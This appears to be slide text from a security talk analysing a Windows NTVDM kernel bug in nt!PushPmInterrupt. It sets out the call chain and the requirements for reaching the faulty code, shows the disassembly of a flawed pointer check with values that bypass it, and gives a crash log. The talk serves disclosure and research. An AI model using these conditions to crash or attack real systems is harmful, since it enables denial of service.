  – Uses two structures residing in user space of NTVDM.EXE: \texttt{VDMICAUSERDATA} and \texttt{VDMVIRTUALICA}.
Both structures reside in ring-3 memory and thus are fully controlled.

A pointer to the VDMICAUSERDATA structure is passed via the second NtVdmControl(VdmInitialize, ...) argument.
Reaching the vulnerable code

- Both routines can be reached with the following call chain:
  
  1. `nt!OpcodeINTnn`
  2. `nt!VdmDispatchIntAck`
  3. `nt!VdmDispatchInterrupts`
  4. `nt!Push{Pm,Rm}Interrupt`
Reaching the vulnerable code - requirements

First requirement:

\[ \text{ds:}[714h] \& 0x203 = 0x203 \]

- 0x714 is a hardcoded address of a special NTVDM.EXE status dword.
  - Internally referenced to as `pNtVDMState`.
  - Resides within a writable NULL page and thus fully controlled.
- 0x203 = \text{VDM\_INT\_HARDWARE} \mid \text{VDM\_INT\_TIMER} \mid \text{VDM\_VIRTUAL\_INTERRUPTS}.
  - Essential for VDM to correctly dispatch interrupts under normal circumstances.
  - For exploitation, we can just forcefully set it with no side effects.
- Enforced by `nt!OpcodeINTnn` (otherwise, `nt!PushInt` is called).
Second requirement:

\[\text{IcaUserData->pIcaMaster->ica_irr} = 0xff\]

- First and foremost, \text{IcaUserData->pIcaMaster} must be a pointer to valid, zero-ed out memory.
- The \text{ica_irr} field is a bitmask which denotes available interrupt handling slots (1 = available).
- Enforced by \text{nt!VdmpIcaScan}.
  - Needed by the function (and later \text{nt!VdmIcaAccept}) to succeed.
Reaching the vulnerable code - requirements

Third requirement

```
NtCurrentTeb() -> Vdm -> VtDpmiInfo.LockCount > 0
```

- If `LockCount` at offset 1588 from the start of `VTM_TIB` is zero, `KTRAP_FRAME.HardwareSegSs` is loaded with a custom ss: selector from `VtDpmiInfo`.
  
  - We don’t want to go into extra hassle, so just set to a non-zero value.

- Enforced by `nt!PushPmInterrupt`.
What now?

• We set up the necessary context and reached \texttt{nt!PushPmInterrupt} by invoking \texttt{INT \texttt{nn}}.

• What is the vulnerability, then?
Spot the bug!

PAGE:006F020E    mov     ecx, [ebp+ica_base]
PAGE:006F0211    shl     ecx, 3
PAGE:006F0214    mov     eax, [edi+VtInterruptTable]
PAGE:006F0217    add     eax, ecx
PAGE:006F0219    mov     [ebp+local_var], eax
PAGE:006F021C    add     eax, ecx
PAGE:006F021E    mov     ecx, ds:_MmUserProbeAddress
PAGE:006F0224    cmp     eax, ecx
PAGE:006F0226    jb      short loc_6F022A
PAGE:006F0228    mov     eax, ecx
PAGE:006F022A   loc_6F022A:
PAGE:006F022A    mov     al, [eax]
PAGE:006F022C    mov     edi, [ebp+local_var]
PAGE:006F022F    mov     ax, [edi]

controlled 16-bit value
controlled 32-bit value

Looks alright, eh?
Spot the bug!

PAGE:006F020E      mov     ecx, [ebp+ica_base]
PAGE:006F0211      shl     ecx, 3
PAGE:006F0214      mov     eax, [edi+VtInterruptTable]
PAGE:006F0217      add     eax, ecx
PAGE:006F0219      mov     [ebp+local_var], eax
PAGE:006F021C      add     eax, ecx
PAGE:006F021E      mov     ecx, ds:_MmUserProbeAddress
PAGE:006F0224      cmp     eax, ecx
PAGE:006F0226      jb      short loc_6F022A
PAGE:006F0228      mov     eax, ecx
PAGE:006F022A      loc_6F022A:
PAGE:006F022A      mov     al, [eax]
PAGE:006F022C      mov     edi, [ebp+local_var]
PAGE:006F022F      mov     ax, [edi]

But... what is the ADD doing there?
Translating to C...

- The code adds `IcaUserData->pIcaMaster->ica_base * 8` twice to the validated pointer, but only once to the used one.

- Imagine:
  - `VtInterruptTable = 0xfff00010`
  - `ica_base = 0xffff`

- Then:
  - **Validated**: `0xfff00010 + (0xffff * 8) * 2 = 0x00000000`
  - **Used**: `0xfff00010 + (0xffff * 8) = 0xfff80008`
Practical exploitability

• The issue allows for reading from kernel addresses in the $0x{\text{fff80008}} - 0x{\text{ffffffff}}$ range (last 128 pages).

• Unfortunately, the highest mapped memory region is **KUSER_SHARED_DATA** (528 pages from top).

```plaintext
0: kd> !address
[...]
c0000000 c1600000  1600000 ProcessSpace
c0800000 c1600000  e00000 Hyperspace
c1600000 ffc00000 3e600000 <unused>
ffc00000 ffdf0000  1f0000 HAL
**ffdf0000 ffdf1000**  1000 SystemSharedPage
ffdf1000 fffffff000  20f000 HAL
```
Practical exploitability

• The bug is currently believed to be non-exploitable.
  – HAL heap anyone?
  – Even if it was possible to map memory, it’s still only a „READ“ 😞
  – Microsoft decided against releasing a bulletin.

• It can still crash your system!
Bugcheck log

TRAP_FRAME: 88c37b90 -- (.trap 0xffffffff88c37b90)
ErrCode = 00000000
eax=00000000 ebx=00000002 ecx=7fff0000 edx=ffffffff esi=88c37d34 edi=fff80008
eip=82b31e51 esp=88c37c04 ebp=88c37c50 iopl=0 nv up ei ng nz na pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010287
nt!PushPmInterrupt+0x20c:
82b31e51 668b07    mov    ax,word ptr [edi]    ds:0023:fff80008=????
Resetting default scope
DEMO
Considerations, affected versions

• It is interesting to think what type of high-level C mistake could have led to the vulnerable assembly.
  – Most likely a misuse of an internal PROBE_* macro.
  – I greppepd for similar patterns in nt and win32k.sys, didn’t find anything.
  – Maybe you’ll have more luck!

• Affected platforms: Windows XP SP3 (at least) through Windows 8 32-bit.
  – Not fixed as of November 2013.
Conclusions
Final thoughts

• The bugs were of a very rare type: write-what-where in ntoskrnl.exe.
  – Nowadays almost unheard of.
  – Personal theory: Microsoft have excellent static code analysis tools, but assembly source is not covered.

• The major reason for all severe vulnerabilities was breaking one of the modern Windows kernel security assumptions.
  – Implicitly reading from / writing to memory using user-controlled segments.
  – Open question: are there possibly any other instances of the behavior?
Final thoughts

„If you wish to discover Windows kernel security issues, target code from the ’90s”

point proven again.

• Often poorly written.

• Often poorly (or not at all) audited.

• Code from 20 years back is still the foundation of latest NT-family systems: Windows 8.1 and Server 2012.
Final thoughts

• Security-wise, disabling VDM by default in Windows 8 was an excellent decision.
  – Likely tons of further 16-bit support vulnerabilities made useless.
  – Perhaps even never found due to lack of attacker incentive.
  – Additionally enabled MSFT to enforce NULL page protection on 64-bit and latest 32-bit platforms.

• Overall, I think it has been the most impactful kernel mitigation enabled thus far.

• Still, playing with the dark corners of the NT kernel was an exciting excercise. 😊
Final thoughts

Now, go and hack the kernel on your own!
Questions?

@j00ru
http://j00ru.vexillium.org/
j00ru.vx@gmail.com